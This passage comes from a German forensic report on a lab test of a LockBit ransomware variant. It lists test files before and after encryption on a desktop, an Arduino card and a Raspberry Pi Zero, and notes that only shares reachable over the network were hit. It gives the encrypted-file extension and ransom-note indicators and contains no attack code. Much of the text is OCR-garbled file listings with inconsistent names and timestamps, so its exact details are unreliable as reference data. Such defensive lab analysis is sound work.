Es ist zu beachten, dass aufgrund nicht Ubereinstimmender Systemzeiten die

Zeitstempel

Ubereinstimmen.
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Auswertung des Versuchs

Der zu Vergleichszwecken im Datenbestand abgelegte, inhaltlich identische

Testdatenordner ohne Netzwerkfreigabe wurde nicht beeinflusst, die Dateien

sind unverandert:

% Willkommen bei Word - Kopie (2).docx

% Willkommen bei Word - Kopie (3).docx

Willkommen bei Word - Kopie.docx

Willkommen bei Word.docx

Willkommen bei Word - Kopie.doc

Willkommen bei Word - Kopie (3).doc

Willkommen bei Word - Kopie (2).doc

Willkommen bei Word.doc

Willkommen bei Word.pdf

Willkommen bei Word - Kopie (3).pdf

Willkommen bei Word - Kopie.pdf

Willkommen bei Word - Kopie (2).pdf

Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xIsx
Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsx
Gantt-Diagramm zur Datumsnachverfolgung1.xlsx
Gantt-Diagramm zur Datumsnachverfolgung1.xls
Gantt-Diagramm zur Datumsnachverfolgung1 - Kopiexls
Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIs
Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsm
Gantt-Diagramm zur Datumsnachverfolgung1.xism
Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xism
Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xps
Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xps
Gantt-Diagramm zur Datumsnachverfolgung1.xps
Willkommen bei PowerPoint.pptx

Willkommen bei PowerPoint.ppt

Willkommen bei PowerPoint.pptm

Willkommen bei PowerPoint.pdf

rees-7937129_960_720 - Kopie (3).jpg
rees-7937129_960_720 - Kopie.jpg

(1] trees-7937129_960_720,jpg

(1] trees-7937129_960_720 - Kopie (2).jpg
[1Jistockphoto-1221620132-612x612.jpg
stockphoto-1221620132-612x612 - Kopie.jpg
stockphoto-1221620132-612x612 - Kopie (3).jpg
[Jistockphoto-1221620132-612x612 - Kopie (2).jpg

N Y.

631 KB docx
631 KB docx
631 KB docx
631 KB docx
759 KB doc
759 KB doc
759 KB doc
759 KB doc
326 KB pdf
326 KB pdf
326 KB pdf
326 KB pdf
95,8 KB xlsx
95,8 KB xlsx
95,8 KB xlsx
583 KB xIs
583 KB xIs
583 KB xIs
95,8 KB xIsx
95,8 KB xIsx
95,8 KB xIsx
435 KB xps
435 KB xps
435 KB xps
3,6 MB pptx
3,5 MB ppt
3,6 MB pptx
741 KB pdf
150 KB jpg
150 KB jpg
150 KB jpg
150 KB jpg
292 KB jpg
292 KB jpg
29,2 KB jpg
29,2 KB jpg

24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023

21:25:26
21:25:26
21:25:26
21:25:26
21:25:48
21:25:48
21:25:48
21:25:48
21:26:06
21:26:06
21:26:06
21:26:06
21:27:20
21:27:20
21:27:20
21:27:34
21:27:34
21:27:34
21:27:48
21:27:48
21:27:48
21:28:06
21:28:06
21:28:06
21:29:00
21:29:12
21:29:30
21:29:50
21:33:20
21:33:20
21:33:20
21:33:20
21:33:40
21:33:40
21:33:40
21:33:40

\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten
\Testdaten

Abbildung 43: Nicht verschliisselte Testdaten bei fehlender Netzwerkfreigabe
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8.1.3.1 10C: Verschliisselung von Nutzerdateien

Der uUber das Netzwerk erreichbare Testdatensatz wurde im Zuge des Angriffes

auf das Laptop ebenfalls verschliisselt:

|_] Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIs.oNi7oNLq9
[_)Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsm.bNi7oNLg9
[_) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsx.bNi7oNLg9
|_] Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xps.oNi7oNLq9
[_)Gantt-Diagramm zur Datumsnachverfolgung1 - KopiexIs.oNi7oNLq9

[_) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xlsm.bNi7oNLq9
|_] Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xIsx.oNi7oNLq9
[_)Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xps.oNi7oNLq9

|_] Gantt-Diagramm zur Datumsnachverfolgung1.xls.oNi7oNLq9

|_] Gantt-Diagramm zur Datumsnachverfolgung1.xism.bNi7oNLq9
[_)Gantt-Diagramm zur Datumsnachverfolgung1.xIsx.oNi7oNLq9

|_] Gantt-Diagramm zur Datumsnachverfolgung1.xps.bNi7oNLq9
[Jistockphoto-1221620132-612x612 - Kopie (2).jpg.bNi7oNLg9
[Jistockphoto-1221620132-612x612 - Kopie (3),jpg.bNi7oNLg9
[_Jistockphoto-1221620132-612x612 - Kopie.jpg.bNi7oNLg9

[Jistockphoto-1221620132-612x612.jpg.bNi7oNLq9
[Jtrees-7937129_960_720 - Kopie (2).jpg.bNi7oNLq9
[_Jtrees-7937129_960_720 - Kopie (3).jpg.bNi7oNLq9
[Jtrees-7937129_960_720 - Kopie.jpg.oNi7oNLq9

[ trees-7937129_960_720,jpg.bNi7oNLq9
[JWillkommen bei PowerPoint.pdf.oNi7oNLq9
[_JWillkommen bei PowerPoint.ppt.bNi7oNLq9
[_JWillkommen bei PowerPoint.pptm.bNi7oNLg9
[JWillkommen bei PowerPoint.pptx.oNi7oNLq9
[_JWillkommen bei Word - Kopie (2).doc.bNi7oNLq9
[_JWillkommen bei Word - Kopie (2).docx.bNi7oNLq9
[[JWillkommen bei Word - Kopie (2).pdf.bNi7oNLq9
[_JWillkommen bei Word - Kopie (3).doc.bNi7oNLq9
[_JWillkommen bei Word - Kopie (3).docx.bNi7oNLq9
[[JWillkommen bei Word - Kopie (3).pdf.bNi7oNLq9
[_JWillkommen bei Word - Kopie.doc.bNi7oNLq9
[JWillkommen bei Word - Kopie.docx.bNi7oNLg9
[_JWillkommen bei Word - Kopie.pdf.bNi7oNLq9
[_JWillkommen bei Word.doc.bNi7oNLq9
[_JWillkommen bei Word.docx.bNi7oNLq9
[_JWillkommen bei Word.pdf.bNi7oNLg9

4\Users\IT-Forensik\Desktop\Testdaten
\Users\IT-Forensik\Desktop\Testdaten
\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
\Users\IT-Forensik\Desktop\Testdaten
\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten
\Users\IT-Forensik\Desktop\Testdaten
4\Users\IT-Forensik\Desktop\Testdaten

Abbildung 44: Verschliisselte Testdaten auf dem Netzlaufwerk
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8.1.3.2 10C: Platzierung der Kontakt- und Entschliisselungsanleitung

Analog zum primar angegriffenen Laptop wurde die von dort bekannte Textdatei

mit Informationen zur weiteren Vorgehensweise im Netzlaufwerk gespeichert:

Abbildung 45: Textdatei mit Kontakt- und Entschliisselungsanleitung auf dem Netzlaufwerk

Um weitere Veranderungen im Datenbestand festzustellen, wurde eine
Volltextsuche unter Berucksichtigung aller Dateiinhalte nach Hinweisen

durchsucht, jedoch keine weiteren Veranderungen festgestellt:

I Suchtreffer » "Name " Typ
bNi7oNLq9.README.t | DINiZeNEG:READIME b e

e (2)jpg.bNi7oNLg9.Ink 1 Jistockphoto-1221620132-612x612 - Kopie (2).jpg.bNi7oNLg9.Ink Ink
e (2 il | )Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIs.oNi7oNLq9 4bni7oniq9
il [ ) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsm.bNi7oNLg9 4bni7oniq9
i [ ) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsx.oNi7oNLg9 4bni7oniq9
e (2).xps.bNi7oNLq9 i [) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xps.oNi7oNLg9 4bni7oniq9
Kopie.xls.bNi7oNLq9 [ ) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xls.oNi7oNLq9 4bni7oniq9
’ n.bNi7oNLq9 [ ) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xlsm.bNi7oNLq9 4bni7oniq9
xbNi7oNLq9 i [) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopiexlsx.oNi7oNLg9 4bni7oniq9
0 Ni7oNLq9 il [ ) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xps.bNi7oNLq9 4bni7oniq9
gung1.xIs.bNi7oNLq9 & [ ) Gantt-Diagramm zur Datumsnachverfolgung1.xls.oNi7oNLq9 4bni7oniq9
g1.xIsm.bNi7oNLq9 i [) Gantt-Diagramm zur Datumsnachverfolgung1.xlsm.bNi7oNLq9 4bni7oniq9
xlsx.bNi7oNLq9 i [_) Gantt-Diagramm zur Datumsnachverfolgung1.xIsx.bNi7oNLq9 4bni7oniq9
gung s.bNi7oNLq9 @ [ ) Gantt-Diagramm zur Datumsnachverfolgung1.xps.oNi7oNLq9 4bni7oniq9
e (2)jpg.bNi7oNLq9 [ Jistockphoto-1221620132-612x612 - Kopie (2).jpg.bNi7oNLg9 4bni7oniq9
e i il | )istockphoto-1221620132-612x612 - Kopie (3).jpg.bNi7oNLq9 4bni7onlq9
il [ Jistockphoto-1221620132-612x612 - Kopie,jpg.bNi7oNLg9 4bni7oniq9
@ [ Jistockphoto-1221620132-612x612.,jpg.bNi7oNLq9 4bni7oniq9
[ )trees-7937129_960_720 - Kopie (2).jpg.bNi7oNLq9 4bni7oniq9
il [ Jtrees-7937129_960_720 - Kopie (3).jpg.bNi7oNLq9 4bni7oniq9
[ Jtrees-7937129_960_720 - Kopie,jpg.oNi7oNLg9 4bni7oniq9
[ trees-7937129_960_720.jpg.bNi7oNLq9 4bni7oniq9

oint.pdf.bNi7oNLq9 @l [ JWillkommen bei PowerPoint.pdf.bNi7oNLq9 4bni7oniq9
rPointpptbNi7oNLq9 @ [ JWillkommen bei PowerPoint.ppt.bNi7oNLq9 4bni7oniq9
’oint.pptm.bNi7oNLq9 @ [_JWillkommen bei PowerPoint.pptm.bNi7oNLg9 4bni7oniq9
pptc.bNi7oNLq9 il [ JWillkommen bei PowerPoint.pptx.oNi7oNLq9 4bni7oniq9
c.bNi7oNLq9 @ [ JWillkommen bei Word - Kopie (2).doc.bNi7oNLq9 4bni7oniq9

e (2).docx.bNi7oNLq9 @ [_JWillkommen bei Word - Kopie (2).docx.bNi7oNLg9 4bni7oniq9
e fbNi7oNLg9 il [ JWillkommen bei Word - Kopie (2).pdf.obNi7oNLq9 4bni7oniq9

e (3).docbNi7oNLq9 @ [_JWillkommen bei Word - Kopie (3).doc.bNi7oNLg9 4bni7oniq9
e (3).docx.bNi7oNLq9 @ [_JWillkommen bei Word - Kopie (3).docx.bNi7oNLg9 4bni7oniq9
e (3).pdf.bNi7oNLq9 i [ JWillkommen bei Word - Kopie (3).pdf.oNi7oNLg9 4bni7oniq9
Kopie.doc.bNi7oNLq9 i [ JWillkommen bei Word - Kopie.doc.bNi7oNLq9 4bni7oniq9
lopie.docx.bNi7oNLq9 il [_JWillkommen bei Word - Kopie.docx.bNi7oNLg9 4bni7oniq9
Kopie.pdf.bNi7oNLq9 @ [ JWillkommen bei Word - Kopie.pdf.bNi7oNLq9 4bni7oniq9
/or cbNi7oNLq9 @l [ JWillkommen bei Word.doc.bNi7oNLq9 4bni7oniq9
rd.docx.bNi7oNLq9 @ [ JWillkommen bei Word.docx.bNi7oNLq9 4bni7oniq9
Vord.pdf.bNi7oNLq9 i [_JWillkommen bei Word.pdf.bNi7oNLg9 4bni7oniq9

Abbildung 46: Ergebnis der Volltextsuche
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8.1.3.3 Zusammenfassung der IOCs auf dem netzangebundenen Desktop

Die festgestellten 10Cs auf dem Uber das Netzwerk verbundenen Desktop-PC
und dem per Netzlaufwerk zugreifbaren Datenbestand lasst sich wie folgt

zusammenfassen:
[ Ungewohnliche Dateizugriffe / Zustandsanderung
Verschlusselung der Nutzerdateien auf dem Netzlaufwerk
u Wiederholtes Schreiben derselben Datei in ungewohnlichem Ausmal}

- Platzierung der Kontaktanleitung als Textdatei (Uber Laptop)

Eine weitergehende Beeinflussung des Testsystems ist nicht erkennbar.
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8.1.4 Auswertung der Speicherkarte des netzwerkangebundenen Arduino

Switch
192.168.2.100
Speedport

Router

DHCP o
192.168.2.1 Mirroring

Port 1
ﬁ %
i Priméres Ziel

Angreifer Windows
Raspi Kali Laptop

102 03

Raspberry
Pl Zer0
105

Windows
PC .104

Abbildung 47: Netzschema Arduino

Bei der Auswertung der Speicherkarte
des Uber das Netzwerk verbundenen
Arduino konnte keine Veranderung des
Datenbestandes nachgewiesen
werden, der Angriff hat aufgrund

fehlender Netzfreigabe keine
Auswirkungen auf die Testdateien

gehabt.

 Name Y GroBe | Typ
1.Spotlight-v100 |
[1.Trash-1001 25KB

£ ZAEHLEN.CSV 536 KB csv
[)._ZAEHLEN.CSV 4,0KB _ad
|_]._DATALOG.CSV 4,0KB _ad
% Willkommen bei Word - Kopie.docx 631 KB docx
% Willkommen bei Word - Kopie (3).docx 631 KB docx
= Willkommen bei Word.docx 631 KB docx
% Willkommen bei Word - Kopie (2).docx 631 KB docx
% Willkommen bei Word - Kopie.doc 759 KB doc
%| Willkommen bei Word - Kopie (3).doc 759 KB doc
% Willkommen bei Word - Kopie (2).doc 759 KB doc
% Willkommen bei Word.doc 759 KB doc
% Willkommen bei Word - Kopie (2).pdf 326 KB pdf
% Willkommen bei Word.pdf 326 KB pdf
% Willkommen bei Word - Kopie.pdf 326 KB pdf
% Willkommen bei Word - Kopie (3).pdf 326 KB pdf
4| Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xlsx 95,8 KB xIsx
4| Gantt-Diagramm zur Datumsnachverfolgung1.xlsx 95,8 KB xlsx
%| Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xIsx 95,8 KB xlsx
4| Gantt-Diagramm zur Datumsnachverfolgung1.xls 583 KB xls

“%| Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xls 583 KB xls

“%| Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIs 583 KB xls

4| Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xlsm 95,8 KB xlsx
4| Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsm 95,8 KB xlsx
4| Gantt-Diagramm zur Datumsnachverfolgung1.xism 95,8 KB xlsx
4| Gantt-Diagramm zur Datumsnachverfolgung1.xps 435 KB xps
4| Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xps 435 KB xps
“%| Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xps 435 KB xps
4| Willkommen bei PowerPoint.pptx 3,6 MB pptx
% Willkommen bei PowerPoint.ppt 3,5 MB ppt
% Willkommen bei PowerPoint.pptm 3,6 MB pptx
% Willkommen bei PowerPoint.pdf 741 KB pdf
[ trees-7937129_960_720 - Kopie (3).jpg 150 KB jpg
[ trees-7937129_960_720 - Kopie (2).jpg 150 KB jpg
£ trees-7937129_960_720 - Kopie,jpg 150 KB jpg
% trees-7937129_960_720.jpg 150 KB jpg
[ istockphoto-1221620132-612x612 - Kopie (3)jpg 29,2 KB jpg
[ istockphoto-1221620132-612x612 - Kopie (2)jpg 29,2 KB jpg
[} istockphoto-1221620132-612x612 - Kopie,jpg 29,2 KB jpg
[gistockphoto-1221620132-612x612.jpg 29,2 KB jpg

| Anderung « | Pfad
09.04.2023
24.07.2023
01.01.2000
09.04.2023
09.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023
24.04.2023

17:00:44
17:01:36
01:00:00
221
22
21
21
21:25:26
21:25:26
21:25:48
21
21
21

24.04.2023 21:26:06
24.04.2023 21:26:06
24.04.2023 21:26:06
24.04.2023 21:26:06
24042023 21:27:20

24.04.2023
24.04.2023

21
21

24.04.2023 21:27:34
24.04.2023 21:27:34
24042023 21:27:34
24.04.2023 21:27:48
24.04.2023 21:27:48

24.04.2023
24.04.2023

21
21

24.04.2023 21:28:06
24.04.2023 21:28:06
24.04.2023 21:29:00
24.04.2023 21:29:12
24.04.2023 21:29:30

24.04.2023
24.04.2023

21
21

24.04.2023 21:33:20
24.04.2023 21:33:20
24.04.2023 21:33:20
24.04.2023 21:33:40
24.04.2023 21:

24.04.2023
24.04.2023

21:33:
21:33:40

/////////////////////////////////////////‘

Abbildung 48: Testdateien vor Schadsoftware-Angriff
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7 Name Y GroBe | Typ | Anderung ~
(Stammverzeichnis) 29,7 GB
1.Spotlight-V100 1,0 MB 09.04.2023 17:00:44
1.Trash-1001 2,5 KB 24.07.2023 1
E
[J)._ZAEHLEN.CSV . 40KB_ad 09.04.2023 2
[)._DATALOG.CSV . 40KB _ad 09.04.2023 22:06:42
% Willkommen bei Word - Kopie.docx . 631KBdocx 24.04.2023 21:25:2
% Willkommen bei Word - Kopie (3).docx . 631KBdocx 24.04.2023 21:25:
Willkommen bei Word.docx . 631KBdocx 24.04.2023 21:25:26
Willkommen bei Word - Kopie (2).docx 4 631KBdocx 24.04.2023 21:25:26
%/ Willkommen bei Word - Kopie.doc . 759 KBdoc 24.04.2023 21:25:4
Willkommen bei Word - Kopie (3).doc . 759 KB doc 24.04.2023 21:
Willkommen bei Word - Kopie (2).doc . 759 KBdoc 24.04.2023 21:25:4
% Willkommen bei Word.doc . 759 KB doc 24.04.2023 21:25:4
% Willkommen bei Word - Kopie (2).pdf . 326 KB pdf 24.04.2023 21:26:06
Willkommen bei Word.pdf . 326 KB pdf 24.04.2023 21:26:
Willkommen bei Word - Kopie.pdf . 326 KB pdf 24.04.2023
Willkommen bei Word - Kopie (3).pdf . 326 KB pdf 24.04.2023
Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsx . 958 KB xlsx 24.04.2023
Gantt-Diagramm zur Datumsnachverfolgung1.xlsx . 958 KB xlsx 24.04.2023
% Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xIsx . 958 KB xlsx 24.04.2023
% Gantt-Diagramm zur Datumsnachverfolgung1.xls 4 583KBxls 24.04.2023
%/ Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xls . 583KBxls 24.04.2023
Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xls 4 583KBxls 24.04.2023
| Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xlsm . 958 KB xlsx 24.04.2023
%/ Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsm . 958 KB xlsx 24.04.2023
% Gantt-Diagramm zur Datumsnachverfolgung1.xism . 958 KB xlsx 24.04.2023
%/ Gantt-Diagramm zur Datumsnachverfolgung1.xps . 435KBxps 24.04.2023
Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xps . 435KBxps 24.04.2023
Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xps . 435KBxps 24.04.2023
Willkommen bei PowerPoint.pptx . 3,6 MBpptx 24.04.2023
Willkommen bei PowerPoint.ppt . 35MBppt 24.04.2023
Willkommen bei PowerPoint.pptm 4 3,6 MBpptx 24.04.2023
% Willkommen bei PowerPoint.pdf . 741 KB pdf 24.04.2023
(1 trees-7937129_960_720 - Kopie (3).jpg . 150KBjpg 24.04.2023 21:33:20
(1] trees-7937129_960_720 - Kopie (2).jpg . 150KBjpg 24.04.2023 21:33:20
(1) trees-7937129_960_720 - Kopie,jpg . 150KBjpg 24.04.2023 21:33:20
() trees-7937129_960_720,jpg . 150KBjpg 24.04.2023 21:33:2
[1Jistockphoto-1221620132-612x612 - Kopie (3).jpg . 292KBjpg 24.04.2023 21:33:
[Jistockphoto-1221620132-612x612 - Kopie (2).jpg . 292KBjpg 24.04.2023 21:33:40
[Jistockphoto-1221620132-612x612 - Kopie,jpg 4 292KBjpg 24.04.2023 21:33:40
[Jistockphoto-1221620132-612x612,jpg . 292KBjpg 24.04.2023 21:33:40

Abbildung 49: Testdateien nach Schadsoftware-Angriff
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Auswertung des Versuchs

8.1.5 Auswertung des netzwerkangebundenen Raspberry Pi Zer0

1623682100 Die Analyse des Datenbestandes nach

St erfolgtem Angriff durch die von uns
192.168.2.1 Mirroring

gewahlte LockBit-Variante lasst auf dem

Raspberry Pi Zer0 ein identisches

et " was | Verhalten zum untersuchten Desktop-

&3 PC. Alle Nutzerdaten auf den Uber

Raspbary Netzwerkfreigaben erreichbaren Netz-

Pl Zer0
105

. laufwerken sind verschlusselt, eine
Abbildung 50: Netzschema Raspberry

weitere Beeintrachtigung des Systems ist
nicht nachvollziehbar:

" Name  GroBe | Typ Anderung «

[bNi70NLq9.README.txt | 61KBlxt  [30.07.2023 01:30:51 +2
bNi70NLq9.README.txt [ 6TKBfxt  [30.07.2023 01:30:51 +2/\home\, hare\Testdaten

[)Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xls.oNi7oNLq9
|_) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsm.bNi7oNLq9
[_)Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsx.oNi7oNLq9
[_)Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xps.oNi7oNLq9
[_)Gantt-Diagramm zur Datumsnachverfolgung1 - Kopiexls.oNi7oNLq9
[_)Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xIsm.bNi7oNLg9
[) Gantt-Diagramm zur Datumsnachverfolgung1 - KopiexIsx.oNi7oNLq9
|_) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xps.bNi7oNLq9
[_) Gantt-Diagramm zur Datumsnachverfolgung1.xls.oNi7oNLq9

[_) Gantt-Diagramm zur Datumsnachverfolgung1.xIsm.bNi7oNLq9
[_)Gantt-Diagramm zur Datumsnachverfolgung1.xIsx.oNi7oNLq9
[_)Gantt-Diagramm zur Datumsnachverfolgung1.xps.obNi7oNLq9
[Jistockphoto-1221620132-612x612 - Kopie (2).jpg.bNi7oNLq9
[Jistockphoto-1221620132-612x612 - Kopie (3).jpg.bNi7oNLq9
[Jistockphoto-1221620132-612x612 - Kopie,jpg.bNi7oNLq9
[Jistockphoto-1221620132-612x612.jpg.bNi7oNLq9
[)trees-7937129_960_720 - Kopie (2).jpg.bNi7oNLq9
[Jtrees-7937129_960_720 - Kopie (3).jpg.bNi7oNLg9
[Jtrees-7937129_960_720 - Kopie,jpg.bNi7oNLq9
[Jtrees-7937129_960_720.jpg.bNi7oNLg9

[_JWillkommen bei PowerPoint.pdf.obNi7oNLg9

[_JWillkommen bei PowerPoint.ppt.obNi7oNLg9

[_JWillkommen bei PowerPoint.pptm.bNi7oNLq9

[Jwillkommen bei PowerPoint.pptx.oNi7oNLq9

[JWillkommen bei Word - Kopie (2).doc.bNi7oNLq9

[Jwillkommen bei Word - Kopie (2).docx.bNi7oNLq9

[_JWillkommen bei Word - Kopie (2).pdf.oNi7oNLq9

[_JWillkommen bei Word - Kopie (3).doc.bNi7oNLq9

[Jwillkommen bei Word - Kopie (3).docx.bNi7oNLq9

[JWwillkommen bei Word - Kopie (3).pdf.bNi7oNLq9

[JWillkommen bei Word - Kopie.doc.bNi7oNLq9

[JWillkommen bei Word - Kopie.docx.bNi7oNLq9

[_JWillkommen bei Word - Kopie.pdf.oNi7oNLg9

[JWillkommen bei Word.doc.bNi7oNLq9

[ Willkommen bei Word.docx.bNi7oNLg9

[Jwillkommen bei Word.pdf.bNi7oNLq9

583 KB bni7onlg9  30.07.2023 01:30:54 \home\pi\pi-share\Testdaten
96,1 KB bni7onlg9  30.07.2023 01:30:54 \home\pi\pi-share\Testdaten
96,1 KB bni7onlg9  30.07.2023 01:30:54 \home\pi\pi-share\Testdaten
435 KB bni7onlg9  30.07.2023 01:30:55 \home\pi\pi-share\Testdaten
583 KB bni7onlg9  30.07.2023 01:30:55 -~ \home\pi\pi-share\Testdaten
96,1 KB bni7onlg9  30.07.2023 01:30:55 \home\pi\pi-share\Testdaten
96,1 KB bni7onlg9  30.07.2023 01:30:55 \home\pi\pi-share\Testdaten
30.07.2023 01:30:56 \home\pi\pi-share\Testdaten
30.07.2023 01:30:56 \home\pi\pi-share\Testdaten
30.07.2023 01:30:56 \home\pi\pi-share\Testdaten
30.07.2023 01:30:56 -~ \home\pi\pi-share\Testdaten
30.07.2023 01:30:57 \home\pi\pi-share\Testdaten
30.07.2023 01:30:57 \home\pi\pi-share\Testdaten
30.07.2023 01:30:57 \home\pi\pi-share\Testdaten
30.07.2023 01:30:57 \home\pi\pi-share\Testdaten
30.07.2023 01:30:57 \home\pi\pi-share\Testdaten
30.07.2023 01:30:58 -~ \home\pi\pi-share\Testdaten
30.07.2023 01:30:58 \home\pi\pi-share\Testdaten
30.07.2023 01:30:58 \home\pi\pi-share\Testdaten
30.07.2023 01:30:59 \home\pi\pi-share\Testdaten
30.07.2023 01:30:59 \home\pi\pi-share\Testdaten
3,5MB bni7onig9  30.07.2023 01:30:59 \home\pi\pi-share\Testdaten
3,6 MB bni7onlg9  30.07.2023 01:31:00 -~ \home\pi\pi-share\Testdaten
3,6 MB bni7onlg9  30.07.2023 01:31:00 \home\pi\pi-share\Testdaten
759 KB bni7onlg9  30.07.2023 01:31:00 \home\pi\pi-share\Testdaten
631 KB bni7onlg9  30.07.2023 01:31:01 \home\pi\pi-share\Testdaten
326 KB bni7onlg9  30.07.2023 01:31:01 \home\pi\pi-share\Testdaten
759 KB bni7onlg9  30.07.2023 01:31:01 \home\pi\pi-share\Testdaten
631 KB bni7onlg9  30.07.2023 01:31:02 -~ \home\pi\pi-share\Testdaten
326 KB bni7onlg9  30.07.2023 01:31:02 -~ \home\pi\pi-share\Testdaten
759 KB bni7onlg9  30.07.2023 01:31:02 \home\pi\pi-share\Testdaten
631 KB bni7onlg9  30.07.2023 01:31:03 \home\pi\pi-share\Testdaten
326 KB bni7onlg9  30.07.2023 01:31:03 \home\pi\pi-share\Testdaten
759 KB bni7onlg9  30.07.2023 01:31:03 -~ \home\pi\pi-share\Testdaten
631 KB bni7onlg9  30.07.2023 01:31:04 -~ \home\pi\pi-share\Testdaten
326 KB bni7onlg9  30.07.2023 01:31:04 -~ \home\pi\pi-share\Testdaten

SFSF S S F S S F S S S S F S S S S S S SSSNSSNSSSSNSSNNNN

Abbildung 51: Zeitliche Abfolge der Datenbestandsverinderung

Anhand des Abgleiches der Zeitstempel mit den Daten des primar angegriffenen
Laptops kann davon ausgegangen werden, dass die Ablage der
Textbenachrichtigung auf allen Geraten zeitgleich vorgenommen wird, die
Verschlisselungsoperationen auf diesem Laufwerk jedoch in dem Zeitraum
stattfinden, der auf dem Laptop anhand der Post-Mortem-Analyse nicht
nachvollziehbar ist. Alle diesbezuglichen Vorgange finden augenscheinlich im
fluchtigen Speicherbereich (RAM) statt.
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Wie beim Desktop-PC blieb der Testdatensatz

ohne Netzwerkfreigabe

unverandert:
1 ' Name I GroBe | Typ /" Anderung | Pfad
JM). = Desktop 26.07.2023 20:59:38 \home\p|
= Testdaten 28.07.2023 21:40:33 \home\pi\Desktop
4 Willkommen bei Word - Kopie (3).docx 631 KB docx 24.04.2023 ¥ \home\pi\Desktop\Testdaten
Willkommen bei Word - Kopie (2).docx 631 KB docx 24.04.2023 \home\pi\Desktop\Testdaten
llkommen bei Word.docx 631 KB docx 24.04.2023 \home\pi\Desktop\Testdaten
illkommen bei Word - Kopie.docx 631 KB docx 24.04.2023 \home\pi\Desktop\Testdaten
Willkommen bei Word.doc 759 KB doc 24.04.2023 \home\pi\Desktop\Testdaten
